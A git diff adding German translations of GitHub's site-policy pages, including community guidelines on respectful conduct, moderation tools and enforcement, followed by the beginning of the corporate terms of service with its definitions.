+Der Hauptzweck der GitHub Community ist die Zusammenarbeit an Softwareprojekten. Wir engagieren uns für die Wahrung einer Community, in der Nutzer sich frei äußern und die Ideen anderer sowohl technisch als auch anderweitig infrage stellen können. Gleichzeitig ist es wichtig, dass die Nutzer respektvoll bleiben und anderen Raum geben, sich offen einzubringen. Um sowohl ein sicheres als auch produktives Umfeld zu fördern, ermutigen wir unsere Community-Mitglieder, sich diese Richtlinien anzusehen, um sich darüber zu informieren, wie sie auf unserer Plattform interagieren sollten. Nachfolgend finden Sie einige Vorschläge für erfolgreiche Interaktionen als geschätztes Mitglied der GitHub Community.
+
+- Agieren Sie mit Rücksicht und Respekt.
+
+     - **Freundlich und aufgeschlossen sein**. Jeden Tag treten unserer Community neue Nutzer bei. Einige sind etablierte Entwickler, während andere noch ganz am Anfang stehen. Seien Sie offen für andere Ideen und Erfahrungsstufen. Schaffen Sie Platz für andere Meinungen als Ihre eigenen und heißen Sie neue Mitwirkende und solche, die gerade erst anfangen, willkommen.
+
+     - **Respektvoll sein**. Die Arbeit in einer kollaborativen Umgebung bedeutet, dass es zu Meinungsverschiedenheiten kommen kann. Aber denken Sie daran, Ideen zu kritisieren, nicht Menschen. Kritik sollte stets gut durchdacht und konstruktiv sein. Seien Sie höflich zu allen, mit denen Sie interagieren. Wenn Sie nicht respektvoll mit anderen umgehen können, sollten Sie einen Schritt zurücktreten oder einige unserer Moderationstools nutzen, um eine angespannte Situation zu deeskalieren. 
+
+     - **Einfühlsam sein**. GitHub ist eine globale Community, zu der Menschen mit unterschiedlichsten Hintergründen und Perspektiven gehören. Einige davon unterscheiden sich womöglich von Ihren eigenen Ansichten. Versuchen Sie, sich in andere hineinzuversetzen und ihre Gefühle nachzuvollziehen, bevor Sie sie ansprechen. Tun Sie Ihr Bestes, um GitHub zu einer Community zu machen, in der sich andere sicher fühlen, wenn sie etwas beitragen, an Diskussionen teilnehmen und unterschiedliche Ideen austauschen.  
+
+- Tragen Sie positiv und konstruktiv bei.
+  - **Die Diskussion verbessern.** Helfen Sie uns, dies zu einem großartigen Ort für Diskussionen zu machen, indem Sie sich stets darum bemühen, die Diskussion in irgendeiner Weise zu verbessern. Jede noch so kleine Maßnahme zählt. Wenn Sie nicht sicher sind, ob Ihr Beitrag die Konversation bereichert, überlegen Sie, was Sie sagen möchten, und versuchen Sie es später erneut.
+
+    Die hier diskutierten Themen sind uns wichtig, und wir möchten, dass Sie sich so verhalten, als ob sie auch für Sie wichtig wären. Seien Sie respektvoll gegenüber den Themen und den Menschen, die darüber diskutieren, auch wenn Sie mit manchen Aussagen nicht einverstanden sind.
+  - **Klare Aussagen und beim Thema bleiben.** Die GitHub Community dient der Zusammenarbeit, dem Austausch von Ideen und der gegenseitigen Unterstützung bei der Erledigung von Aufgaben. Kommentare, die nicht zum Thema gehören, sind eine Ablenkung (die manchmal willkommen ist, aber in der Regel nicht) von der Arbeit und behindern die Produktivität. Wenn man beim Thema bleibt, entstehen positive und produktive Diskussionen.
+
+    Dasselbe gilt auch für das Teilen von Links. Alle in Diskussionen der GitHub Community geteilten Links sollten mit der Absicht geteilt werden, relevante und angemessene Informationen bereitzustellen. Links sollten nicht gepostet werden, um einfach den Traffic zu steigern oder die Aufmerksamkeit auf eine Website zu lenken. Zu Links gehört immer eine ausführliche Erläuterung des Inhalts und Zwecks des jeweiligen Links. Links, die insbesondere unaufgefordert sowie ohne relevanten und wertvollen Kontext gepostet werden, können als Werbung aufgefasst werden oder noch böswilligeren Zwecken dienen.
+    
+  - **Achtsam teilen.** Wenn Sie andere bitten, Ihnen Feedback zu geben oder an einem Projekt mitzuarbeiten, geben Sie nur wertvolle und relevante Ressourcen weiter, um Kontext bereitzustellen. Posten Sie keine Links, die für die Diskussion keinen zusätzlichen Nutzen darstellen, und posten Sie in den Threads anderer Benutzer keine unaufgeforderten Links zu Ihren eigenen Projekten oder Websites.
+
+    Geben Sie außerdem keine vertraulichen Informationen weiter. Dazu gehört auch Ihre eigene E-Mail-Adresse. Wir gestatten die Weitergabe solcher Informationen in der GitHub Community nicht, da dies Sicherheits- und Datenschutzrisiken für den Verfasser sowie andere Benutzer darstellen kann. Wenn Sie andere GitHub-Benutzer einladen möchten, an einem Projekt mitzuarbeiten oder mit Ihnen zusammenzuarbeiten, teilen Sie einen Link zu dem Repository, in dem sich das betreffende Projekt befindet. Indem Sie den Link zu Ihrem Projekt-Repository teilen – mit einigen Informationen darüber, was Ihr Projekt ist und welche Art von Hilfe oder Feedback Sie suchen – können Sie andere einladen, mit Ihnen über Issues oder Pull Requests zusammenzuarbeiten, ohne Ihre privaten Informationen teilen zu müssen. Sie können Ihrem Projekt-Repository auch andere als externe Mitarbeiter hinzufügen, um ihnen spezielle Berechtigungen zu erteilen, damit sie Sie bei der Entwicklung Ihres Projekts unterstützen.
+  - **Für Ordnung sorgen.** Bemühen Sie sich, die Dinge an den richtigen Orten abzulegen, damit wir mehr Zeit für Diskussionen haben und weniger Zeit in das Aufräumen investieren müssen. Das heißt konkret:
+    - Beginnen Sie keine Diskussion in der falschen Kategorie.
+    - Veröffentlichen Sie nicht in mehreren Diskussion denselben Beitrag.
+    - Posten Sie keine inhaltslosen Antworten.
+    - Sie sollten Posts nicht „bumpen“, es sei denn, Sie haben neue und relevante Informationen, die Sie teilen möchten.
+    - Lenken Sie eine Diskussion nicht in eine andere Richtung, indem Sie sie mittendrin ändern.
+
+    Anstatt „+1“ oder „Einverstanden“ zu posten, verwenden Sie die Zustimmungsschaltfläche. Anstatt eine vorhandene Diskussion in eine komplett andere Richtung zu lenken, eröffnen Sie eine neue Diskussion.
+
+- Seien Sie vertrauenswürdig.
+  - **Stets ehrlich sein.** Geben Sie nicht wissentlich falsche Informationen weiter, und führen Sie andere Teilnehmer der GitHub Community nicht absichtlich in die Irre. Wenn Sie die Antwort auf die Frage einer Person nicht kennen, aber dennoch helfen möchten, können Sie stattdessen versuchen, der Person bei der Recherche zu helfen oder Ressourcen zu finden. GitHub-Mitarbeiter sind auch in der GitHub Community aktiv. Wenn Sie sich also bei einer Antwort nicht sicher sind, kann Ihnen wahrscheinlich ein Moderator helfen.
+
+### *Was nicht zulässig ist*
+
+Die [Richtlinien zur akzeptablen Nutzung](/site-policy/acceptable-use-policies/github-acceptable-use-policies) von GitHub, die Bestandteil der [Nutzungsbedingungen](/github/site-policy/github-terms-of-service/) von GitHub sind, bilden die Grundlage dessen, was auf GitHub nicht zulässig ist. Da sich die GitHub Community auf GitHub.com befindet, gelten diese Bestimmungen und Beschränkungen für die GitHub Community. Dazu zählen auch die folgenden Beschränkungen:
+
+- **Personen, die unter 13 Jahre alt sind.** Wenn Sie unter 13 Jahre alt sind, sind Sie nicht berechtigt, ein Konto auf GitHub zu führen. GitHub erhebt wissentlich keine Informationen direkt von und richtet sich nicht speziell an Kinder unter 13 Jahren. Wenn wir erfahren oder Grund zu der Annahme haben, dass Sie ein Benutzer unter 13 Jahren sind, müssen wir Ihr Konto auf GitHub.com leider schließen. Wir möchten Sie nicht davon abhalten, Programmieren zu lernen, aber das sind die Regeln. Bitte lesen Sie sich zu Informationen zur Kontokündigung unsere [Nutzungsbedingungen](/github/site-policy/github-terms-of-service/) durch.
+
+- **Erstellung eines neuen Kontos nach Kontobeschränkung.** In den [Nutzungsbedingungen](/github/site-policy/github-terms-of-service/) von GitHub heißt es: „Eine natürliche oder juristische Person darf nicht mehr als ein kostenloses Konto unterhalten.“ Zusätzliche kostenlose Konten, die erstellt wurden, um sich auf GitHub nach gekennzeichneten oder gesperrten Konten zu erkundigen, werden entfernt.
+
+- **Sonstiges Verhalten, das in einem beruflichen Umfeld begründetermaßen als unangemessen angesehen werden könnte.** Die GitHub Community ist ein professionelles Umfeld und sollte auch so behandelt werden.
+
+- **Verstoß gegen die Nutzungsbedingungen.** Wenn Ihr GitHub.com-Konto als Verstoß gegen die [ Nutzungsbedingungen](/github/site-policy/github-terms-of-service/) identifiziert wird, müssen wir Ihr Konto schließen.  
+
+## Durchsetzung
+
+### *Was Teilnehmer der GitHub Community tun können*
+
+- **Wenn Sie ein Problem sehen, melden Sie es.** Moderatoren haben besondere Befugnisse; sie sind für diese GitHub Community verantwortlich. Aber Sie sind es auch. Mit Ihrer Hilfe können die Moderatoren nicht nur Hausmeister oder Polizisten sein, sondern wirkliche Unterstützer der Community.
+
+  Wenn Sie unerwünschtes Verhalten bemerken, reagieren Sie nicht. Indem man es anerkennt, fördert man das unerwünschte Verhalten. Sie verschwenden dadurch Ihre Energie und die Zeit aller. Sie können störende Benutzer oder Inhalte an GitHub melden. Weitere Informationen finden Sie unter „[Melden von Missbrauch oder Spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)“.
+
+### Unsere Pflichten
+
+Es gibt eine Vielzahl von Maßnahmen, die wir als Reaktion auf unangemessenes Verhalten oder unangemessene Inhalte ergreifen können. Dies hängt in der Regel von den genauen Umständen des Einzelfalls ab. Uns ist klar, dass Menschen manchmal aus unterschiedlichen Gründen unangemessene Dinge sagen oder tun. Vielleicht war ihnen nicht klar, welche Wirkung ihre Worte haben würden. Oder sie haben sich von ihren Emotionen mitreißen lassen. Natürlich gibt es manchmal Leute, die einfach nur Spam versenden oder Ärger machen wollen.
+
+Jeder Fall erfordert einen anderen Ansatz, und wir versuchen, unsere Reaktion auf die Erfordernisse der jeweiligen Situation abzustimmen. Wir prüfen jede Situation im Einzelfall. In jedem Fall wird ein vielfältiges Team den Inhalt und die zugehörigen Fakten untersuchen und angemessene Maßnahmen ergreifen, wobei dieser Verhaltenskodex als Richtschnur für unsere Entscheidung dient.
+
+Zu den Maßnahmen, die wir als Reaktion auf eine Meldung oder eine Missbrauchsmeldung ergreifen können, gehören unter anderem:
+  - Entfernen von Inhalten
+  - Sperren von Inhalten
+  - Sperrung des GitHub-Kontos
+  - Beendigung des GitHub-Kontos
+
+Moderatoren der GitHub Community, die den Verhaltenskodex nicht angemessen befolgen oder durchsetzen, müssen mit vorübergehenden oder dauerhaften Konsequenzen rechnen, die von anderen Mitgliedern der GitHub Community-Leitung festgelegt werden.
+
+## Kontaktaufnahme mit GitHub Beschäftigten
+
+Wenn Sie aus irgendeinem Grund Beschäftigte von GitHub, die Community-Manager, Administratoren oder Moderatoren dieses Forums privat kontaktieren möchten, verwenden Sie unser [ Support-Kontaktformular](https://support.github.com/contact?tags=docs-community-support). Es wird dringend davon abgeraten, Beschäftigte von GitHub über unerbetene Erwähnungen oder Pings oder über andere Kanäle als die GitHub Community oder das Support-Kontaktformular zu kontaktieren. Dies kann als Verstoß gegen unser Verbot der Belästigung angesehen werden.
+
+Arbeiten wir gemeinsam daran, die GitHub Community zu einem Ort zu machen, an dem sich die Menschen sicher fühlen und an dem ihnen und ihrem Engagement Respekt entgegengebracht wird.
+
+## Rechtliche Hinweise
+
+Ja, Juristensprache ist langweilig, aber wir müssen uns – und damit auch Sie und Ihre Daten – vor unfreundlichen Menschen schützen. Wir verfügen über [Nutzungsbedingungen](/github/site-policy/github-terms-of-service/), die unsere [Richtlinien zur akzeptablen Nutzung](/github/site-policy/github-acceptable-use-policies) sowie unsere [Datenschutzerklärung](/github/site-policy/github-privacy-statement/) umfassen. Darin werden Ihre (und unsere) Verhaltensweisen im Zusammenhang mit Inhalten, Datenschutz und Gesetzen beschrieben. Um diesen Dienst nutzen zu können, müssen Sie sich verpflichten, unsere [Nutzungsbedingungen](/github/site-policy/github-terms-of-service/), die [Richtlinien zur akzeptablen Nutzung von GitHub](/github/site-policy/github-acceptable-use-policies) und die [Datenschutzerklärung](/github/site-policy/github-privacy-statement/) einzuhalten.
+
+Durch diesen Verhaltenskodex werden unsere [Nutzungsbedingungen](/github/site-policy/github-terms-of-service/), die unsere [Richtlinien zur akzeptablen Nutzung](/github/site-policy/github-acceptable-use-policies) umfassen, nicht geändert. Der Kodex ist nicht als vollständige Liste zu verstehen. GitHub behält sich vor, im Rahmen der [Nutzungsbedingungen](/github/site-policy/github-terms-of-service/) bei Aktivitäten, die gegen diese Richtlinien verstoßen, nach eigenem Ermessen Inhalte oder Konten zu entfernen oder einzuschränken, unter anderem wenn sie rechtswidrig, beleidigend, bedrohlich, verleumderisch, diffamierend, pornografisch, obszön oder anderweitig anstößig sind oder das geistige Eigentum einer Partei oder unsere Nutzungsbedingungen verletzen. Dieser Verhaltenskodex beschreibt, wann wir von diesem Ermessen Gebrauch machen.
+
+### Aufbewahrung und Löschung von Daten
+
+Wenn Sie GitHub-Benutzer sind, können Sie auf Ihre grundlegenden Benutzerprofilinformationen zugreifen, sie aktualisieren, ändern oder löschen, indem Sie [Ihr Benutzerprofil bearbeiten](https://github.com/settings/profile) oder sich an den [ GitHub-Support](https://support.github.com/contact) wenden. Wir speichern und verwenden Ihre Daten nach Bedarf, um unseren gesetzlichen Verpflichtungen nachzukommen, Streitigkeiten beizulegen und unsere Vereinbarungen durchzusetzen, aber sofern keine gesetzlichen Anforderungen bestehen, werden wir Ihr vollständiges Profil (im Rahmen des Zumutbaren) innerhalb von 90 Tagen nach Ihrer Anfrage löschen. Weitere Informationen finden Sie unter[ GitHub-Datenschutzerklärung](/github/site-policy/github-privacy-statement).
diff --git a/translations/de-DE/content/site-policy/github-terms/github-community-guidelines.md b/translations/de-DE/content/site-policy/github-terms/github-community-guidelines.md
new file mode 100644
index 0000000000..de93dfcd53
--- /dev/null
+++ b/translations/de-DE/content/site-policy/github-terms/github-community-guidelines.md
@@ -0,0 +1,85 @@
+---
+title: Community-Richtlinien von GitHub
+redirect_from:
+  - /community-guidelines
+  - /articles/github-community-guidelines
+  - /github/site-policy/github-community-guidelines
+  - /github/site-policy/acceptable-use-policies/github-community-guidelines
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+ms.openlocfilehash: 32ce117172ece21540b71457cd7a75b1c90bc7a0
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '147099194'
+---
+Millionen von Entwicklern auf der ganzen Welt hosten auf GitHub Millionen von Projekten – sowohl Open als auch Closed Source. Wir haben das Glück, jeden Tag an der Ermöglichung der Zusammenarbeit in der Entwickler-Community mitzuwirken – eine Verantwortung, die wir nicht auf die leichte Schulter nehmen. Gemeinsam haben wir alle die spannende Gelegenheit, dies zu einer Community zu machen, auf die wir stolz sein können.
+
+Unsere vielfältige Nutzerbasis bringt unterschiedliche Perspektiven, Ideen und Erfahrungen mit und reicht von Menschen, die letzte Woche ihr erstes „Hello World“-Projekt erstellt haben, bis zu den bekanntesten Softwareentwicklern der Welt. Wir sind bestrebt, GitHub zu einer Umgebung zu machen, die all die verschiedenen Stimmen und Perspektiven unserer Community willkommen heißt und gleichzeitig einen sicheren Ort für Entwickler bietet, an dem sie ihre beste Arbeit leisten können.
+
+Indem wir darlegen, wie wir uns eine [sichere, freundliche und produktive Gemeinschaft](https://opensource.guide/building-community/) bei GitHub vorstellen, hoffen wir, Ihnen zu verdeutlichen, wie Sie auf unserer Plattform unter Einhaltung unserer [Nutzungsbedingungen](/github/site-policy/github-terms-of-service) und der [Richtlinien zur akzeptablen Nutzung](/github/site-policy/github-acceptable-use-policies) am besten interagieren und zusammenarbeiten können.
+
+Wir ermutigen unsere Community-Mitglieder, Erwartungen klar zu kommunizieren, ihre Projekte nach Möglichkeit zu [moderieren](#what-if-something-or-someone-offends-you) und Inhalte zu [melden](https://github.com/contact/report-abuse), die unter Umständen gegen unsere [Richtlinien](/github/site-policy/github-terms-of-service) verstoßen. GitHub Beschäftigte gehen allen Missbrauchsmeldungen nach und können öffentliche Inhalte auf unserer Website moderieren, die unserer Meinung nach gegen unsere Nutzungsbedingungen verstoßen.
+
+
+## Pflege einer starken Community
+
+Der Hauptzweck der GitHub Community ist die Zusammenarbeit an Softwareprojekten. Wir engagieren uns für die Wahrung einer Community, in der Nutzer sich frei äußern und die Ideen anderer sowohl technisch als auch anderweitig infrage stellen können. Gleichzeitig ist es wichtig, dass die Nutzer respektvoll bleiben und anderen Raum geben, sich offen einzubringen. Um sowohl ein sicheres als auch produktives Umfeld zu fördern, ermutigen wir unsere Community-Mitglieder, sich diese Richtlinien anzusehen, um sich darüber zu informieren, wie sie auf unserer Plattform interagieren sollten.  Nachfolgend finden Sie einige Vorschläge für erfolgreiche Interaktionen als geschätztes Mitglied der GitHub Community.
+
+* **Freundlich und aufgeschlossen sein**. Jeden Tag treten unserer Community neue Nutzer bei. Einige sind etablierte Entwickler, während andere noch ganz am Anfang stehen. Seien Sie offen für andere Ideen und Erfahrungsstufen. Schaffen Sie Platz für andere Meinungen als Ihre eigenen und heißen Sie neue Mitwirkende und solche, die gerade erst anfangen, willkommen.
+
+* **Respektvoll sein**. Die Arbeit in einer kollaborativen Umgebung bedeutet, dass es zu Meinungsverschiedenheiten kommen kann. Aber denken Sie daran, Ideen zu kritisieren, nicht Menschen. Kritik sollte stets gut durchdacht und konstruktiv sein. Seien Sie höflich zu allen, mit denen Sie interagieren. Wenn Sie nicht respektvoll mit anderen umgehen können, sollten Sie einen Schritt zurücktreten oder einige unserer Moderationstools nutzen, um eine angespannte Situation zu deeskalieren. 
+
+* **Einfühlsam sein**. GitHub ist eine globale Community, zu der Menschen mit unterschiedlichsten Hintergründen und Perspektiven gehören. Einige davon unterscheiden sich womöglich von Ihren eigenen Ansichten. Versuchen Sie, sich in andere hineinzuversetzen und ihre Gefühle nachzuvollziehen, bevor Sie sie ansprechen. Tun Sie Ihr Bestes, um GitHub zu einer Community zu machen, in der sich andere sicher fühlen, wenn sie etwas beitragen, an Diskussionen teilnehmen und unterschiedliche Ideen austauschen.  
+
+
+## Was ist, wenn etwas oder jemand Sie beleidigt?
+
+Während manche Meinungsverschiedenheiten durch direkte, respektvolle Kommunikation zwischen Community-Mitgliedern ausgeräumt werden können, ist uns klar, dass dies nicht immer der Fall ist. Wir ermutigen unsere Community dazu, [uns zu informieren](https://support.github.com/contact/report-abuse?category=report-abuse&report=other&report_type=unspecified), wenn sie glauben, dass Inhalte oder Aktivitäten, auf die sie gestoßen sind, gegen unsere Richtlinien verstoßen. Wenn Sie jedoch auf etwas oder jemanden auf der Website stoßen, das bzw. den Sie anstößig finden, gibt es hier einige Möglichkeiten, um auf GitHub Maßnahmen zu ergreifen: 
+
+* **Erwartungen kommunizieren**. Betreuer können Community-spezifische Richtlinien festlegen, um Nutzern zu verdeutlichen, wie sie mit ihren Projekten interagieren, z. B. in der README eines Repositories, der [CONTRIBUTING-Datei](/articles/setting-guidelines-for-repository-contributors/) oder in einem [eigenen Verhaltenskodex](/articles/adding-a-code-of-conduct-to-your-project/). Weitere Informationen zum Aufbau von Communitys finden Sie [hier](/communities).
+
+
+* **Kommentare moderieren**. Nutzer mit [Schreibzugriffsrechten](/articles/repository-permission-levels-for-an-organization/) für ein Repository können [Kommentare zu Commits, Pull-Requests und Issues bearbeiten, löschen oder ausblenden](/communities/moderating-comments-and-conversations/managing-disruptive-comments). Jeder mit Lesezugriff auf ein Repository kann den Bearbeitungsverlauf eines Kommentars anzeigen. Kommentarautoren und Personen mit Schreibzugriff auf ein Repository können ebenfalls vertrauliche Informationen aus dem [Bearbeitungsverlauf eines Kommentars](/communities/moderating-comments-and-conversations/tracking-changes-in-a-comment) löschen. Das Moderieren Ihrer Projekte wirkt vielleicht wie eine enorme Aufgabe, wenn es viel Aktivität gibt, aber Sie können [Mitwirkende hinzufügen](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/permission-levels-for-a-personal-account-repository#collaborator-access-for-a-repository-owned-by-a-personal-account), die Sie bei der Verwaltung Ihrer Community unterstützen.
+
+* **Konversationen sperren** . Wenn eine Diskussion in einem Issue, einer Pull-Anfrage oder einem Commit außer Kontrolle gerät, vom Thema abweicht oder gegen den Verhaltenskodex Ihres Projekts oder die Richtlinien von GitHub verstößt, können Eigentümer, Mitwirkende und alle anderen mit Schreibzugriff eine temporäre oder permanente [Sperre](/articles/locking-conversations/) für die Konversation verhängen.
+
+* **Nutzer sperren** . Wenn Sie auf einen bestimmten Nutzer stoßen, mit dem Sie lieber nicht interagieren möchten, können Sie [den Nutzer für Ihr persönliches Konto sperren](/articles/blocking-a-user-from-your-personal-account/) oder [für Ihre Organisation sperren](/articles/blocking-a-user-from-your-organization/).
+
+* **Interaktionen einschränken**. Wenn Ihr öffentliches Projekt unerwünschte Aufmerksamkeit erregt, getrollt, gespammt oder anderweitig gestört wird, haben Sie die Möglichkeit, [vorübergehende Interaktionsgrenzen](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository) festzulegen, um bestimmte Nutzer daran zu hindern, mit Ihrem Repository zu interagieren. Sie können sogar [Code-Review-Grenzen](https://github.blog/2021-11-01-github-keeps-getting-better-for-open-source-maintainers/#preventing-drive-by-pull-request-approvals-and-requested-changes) festzulegen, um qualitativ hochwertige Beiträge zu Ihren Projekten zu gewährleisten.
+
+
+Obwohl wir uns leidenschaftlich dafür einsetzen, Betreuern die Möglichkeit zu geben, ihre eigenen Projekte zu moderieren, kontaktieren Sie uns bitte unter {% data variables.contact.report_abuse %}, wenn Sie zusätzliche Unterstützung bei der Bewältigung einer Situation benötigen.
+
+## Was passiert, wenn jemand gegen die Richtlinien von GitHub verstößt?
+
+Wir verlassen uns auf Meldungen aus der Community sowie auf die proaktive Erkennung, um sicherzustellen, dass GitHub eine sichere, freundliche und produktive Plattform für Softwareentwickler ist. Es gibt eine Vielzahl von Faktoren, die wir berücksichtigen, wenn wir auf Verhaltensweisen oder Inhalte aufmerksam werden, die nicht den Richtlinien von GitHub entsprechen. Unser Ansatz zur Richtliniendurchsetzung und Inhaltsmoderation priorisiert jedoch unsere Vision, das Zuhause für alle Entwickler zu sein. Das bedeutet Folgendes:
+
+- Unsere Optimierungsmaßnahmen dienen der Code-Zusammenarbeit. Wir erkennen an, dass Code mehrere Verwendungszwecke haben kann, und wir unterscheiden zwischen der Verwendung des Codes auf der Plattform und anderen möglichen Verwendungszwecken. Wir berücksichtigen außerdem, wie sich unsere Durchsetzungsmaßnahmen auf ein möglicherweise kompliziertes Netz von Abhängigkeiten über die Plattform hinweg auswirken können, und zielen darauf ab, so wenig legitime Inhalte wie möglich einzuschränken.
+
+- Wir verfolgen bei der Inhaltsmoderation einen menschenorientierten Ansatz und passen unsere Antworten an die Bedürfnisse einer bestimmten Situation an. Unser globales Team untersucht die Meldungen, die wir erhalten, von Fall zu Fall – unter Berücksichtigung des Kontexts und der zugehörigen Fakten – bevor es Maßnahmen ergreift. Dies könnte die Berücksichtigung potenziell anstößiger Inhalte umfassen, die auf eine Weise gepostet werden, der es an Kontext mangelt oder die leicht bewirken kann, dass andere Nutzer sie bei Verwendung von GitHub versehentlich anzeigen oder damit interagieren. In diesen Fällen bevorzugen wir unter Umständen eine Moderation, um unsere Community zu schützen.
+
+- Unsere Entscheidungen basieren auf unserer grundlegenden Überzeugung, dass der Dienst an einer vernetzten Gemeinschaft und die Förderung des menschlichen Fortschritts durch die Zusammenarbeit von Entwicklern eine Verpflichtung zu Vielfalt, Inklusion und Zugehörigkeit erfordern.
+
+Wenn wir entschieden haben, dass eine Moderationsmaßnahme gerechtfertigt ist, können wir unter anderem auf folgende Weise reagieren:
+
+* Entfernen des anstößigen Inhalts
+* Blockieren oder Deaktivieren des anstößigen Inhalts
+* Herabstufung der Sichtbarkeit des anstößigen Inhalts
+* Verbergen eines Nutzerkontos oder einer Organisation vor der Öffentlichkeit
+* Sperren eines Nutzerkontos oder einer Organisation
+
+
+## Einspruch und Wiederherstellung
+
+Wenn Ihre Inhalte oder Ihr Konto deaktiviert oder eingeschränkt wurden und Sie die Wiederherstellung beantragen oder Einspruch einlegen möchten, finden Sie auf unserer [Einspruchs- und Wiederherstellungsseite](/site-policy/acceptable-use-policies/github-appeal-and-reinstatement) Informationen über die Vorgehensweise. Nutzen Sie unser [Einspruchs- und Wiederherstellungsformular](https://support.github.com/contact/reinstatement), um eine entsprechende Anfrage zu stellen.
+
+## Rechtliche Hinweise
+
+Wir stellen diese Community-Richtlinien der Allgemeinheit zur Verfügung, damit jeder sie unter den Bedingungen von [CC0-1.0](https://creativecommons.org/publicdomain/zero/1.0/) verwenden, wiederverwenden, anpassen kann usw.
+
+Dies sind lediglich Richtlinien; sie stellen keine Änderung unserer [Nutzungsbedingungen](/articles/github-terms-of-service/) dar und sind nicht als vollständige Liste zu verstehen. Im Rahmen dieser Bedingungen behält sich GitHub vor, bei Aktivitäten, die gegen unsere [Richtlinien zur akzeptablen Nutzung](/articles/github-acceptable-use-policies) verstoßen, nach eigenem Ermessen Inhalte zu entfernen oder Konten zu kündigen. Diese Richtlinien beschreiben, wann wir von diesem Ermessen Gebrauch machen.
diff --git a/translations/de-DE/content/site-policy/github-terms/github-corporate-terms-of-service.md b/translations/de-DE/content/site-policy/github-terms/github-corporate-terms-of-service.md
new file mode 100644
index 0000000000..77fc8d1ab9
--- /dev/null
+++ b/translations/de-DE/content/site-policy/github-terms/github-corporate-terms-of-service.md
@@ -0,0 +1,324 @@
+---
+title: GitHub Nutzungsbedingungen für Unternehmen
+redirect_from:
+  - /articles/github-corporate-terms-of-service
+  - /github/site-policy/github-corporate-terms-of-service
+versions:
+  fpt: '*'
+topics:
+  - Policy
+  - Legal
+ms.openlocfilehash: 083bccdf0b4baf040d27bf4078c391001b60f206
+ms.sourcegitcommit: d298d354a4585e6c154f2a8428aebb214d49e2a1
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/07/2022
+ms.locfileid: '147858647'
+---
+_Diese Bedingungen gelten für Kunden von GitHub.com, die über abgeschlossene Vereinbarungen verfügen, die sich auf die Nutzungsbedingungen für Unternehmen beziehen. Alle anderen Unternehmenskunden werden zu den aktuellen Bestimmungen unter [github.com/customer-terms](https://github.com/customer-terms) weitergeleitet._
+
+## GitHub Nutzungsbedingungen für Unternehmen
+Version/Wirksamkeitsdatum: 16. November 2020
+
+Diese Vereinbarung gilt für die folgenden GitHub Angebote, wie unten näher definiert (zusammen die **„Produkte“**):
+- Der Dienst;
+- Alle Beta-Vorschauen;
+- Jeglicher damit verbundener Support; und
+- Alle damit verbundenen Professional Services.
+
+## A. Definitionen
+
+**„Verbundenes Unternehmen“** bezeichnet jede juristische Person, die direkt oder indirekt eine Partei kontrolliert, von ihr kontrolliert wird oder mit ihr unter gemeinsamer Kontrolle steht, wobei „Kontrolle“ bedeutet, mehr als fünfzig Prozent (50 %) des Eigentums oder das Recht zu haben, der Geschäftsführung der juristischen Person Weisungen zu erteilen.
+
+**„Vereinbarung“** bezeichnet zusammenfassend alle Bedingungen, Bestimmungen, Hinweise, die in diesem Dokument enthalten sind oder auf die in diesem Dokument verwiesen wird, sowie alle anderen Betriebsvorschriften, Richtlinien und Verfahren, die GitHub von Zeit zu Zeit im Dienst veröffentlichen kann. Die Richtlinien für die Website von GitHub sind unter [https://docs.github.com/categories/site-policy](/categories/site-policy) verfügbar.
+
+**„Alle Nutzer“** bezeichnet zusammenfassend Nutzer des Kunden und externe Nutzer, die den Dienst nutzen.
+
+**„Amerika“** bezeichnet die Vereinigten Staaten, Kanada, Mexiko oder ein Land in Mittel- oder Südamerika oder der Karibik.
+
+**„Beta-Vorschau“** bezeichnet Software, Dienste oder Funktionen, die als Alpha, Beta, Vorschau, Early Access oder Evaluierung oder mit Begriffen oder Ausdrücken mit ähnlicher Bedeutung gekennzeichnet sind.
+
+**„Vertrauliche Informationen“** bezeichnet alle nicht öffentlichen Informationen, die von einer Partei an die andere weitergegeben werden, sei es schriftlich, mündlich oder auf andere Weise, die als vertraulich bezeichnet werden oder die die empfangende Partei unter den Umständen der Weitergabe und der Art der Informationen als für die offenlegende Partei vertraulich erkennt oder erkennen sollte. Zur Klarstellung wird darauf hingewiesen, dass keine im Dienst veröffentlichten Inhalte als Vertrauliche Informationen gelten, mit Ausnahme von Kundeninhalten, die ausschließlich in den Privaten Repositories des Kunden gespeichert sind. Vertrauliche Informationen umfassen keine Informationen, die (i) ohne Verschulden der empfangenden Partei öffentlich bekannt waren oder werden; (ii) der empfangenden Partei ohne Vertraulichkeits- oder Eigentumsbeschränkung aus einer anderen Quelle als der offenlegenden Partei, die zur Offenlegung berechtigt ist, rechtmäßig bekannt waren oder bekannt werden, (iii) von der offenlegenden Partei zur uneingeschränkten Offenlegung in einem schriftlichen Dokument genehmigt wurden, das von einem ordnungsgemäß bevollmächtigten leitenden Angestellten dieser offenlegenden Partei unterzeichnet ist; (iv) die empfangende Partei unabhängig und ohne Zugriff auf oder Nutzung der Vertraulichen Informationen der anderen Partei entwickelt; oder (v) im Dienst und außerhalb der Privaten Repositories des Kunden gespeichert oder veröffentlicht werden oder wurden.
+
+**„Inhalt(e)“** bezeichnet, ohne Einschränkung, Code, Text, Daten, Artikel, Bilder, Pakete, Fotografien, Grafiken, Software, Anwendungen, Designs, Funktionen und andere Materialien, die durch den Dienst hervorgehoben, angezeigt oder anderweitig verfügbar gemacht werden.
+
+**„Unternehmenskonto“** bezeichnet ein Konto, das von einem Nutzer im Namen einer juristischen Person erstellt wurde.
+
+**„Kunde“** bezeichnet das Unternehmen oder die Organisation, das bzw. die diese Vereinbarung mit GitHub abgeschlossen hat, indem es bzw. sie auf die Schaltfläche „ICH STIMME ZU“ oder eine ähnliche Schaltfläche geklickt oder auf die Produkte zugegriffen hat.
+
+**„Kundeninhalte“** bezeichnet Inhalte, die der Kunde erstellt, besitzt oder an denen der Kunde die Rechte hält.
+
+**„Dokumentation“** bezeichnet alle Handbücher, Dokumentationen und andere unterstützende Materialien in Bezug auf die Produkte, die GitHub dem Kunden bereitstellt oder zur Verfügung stellt.
+
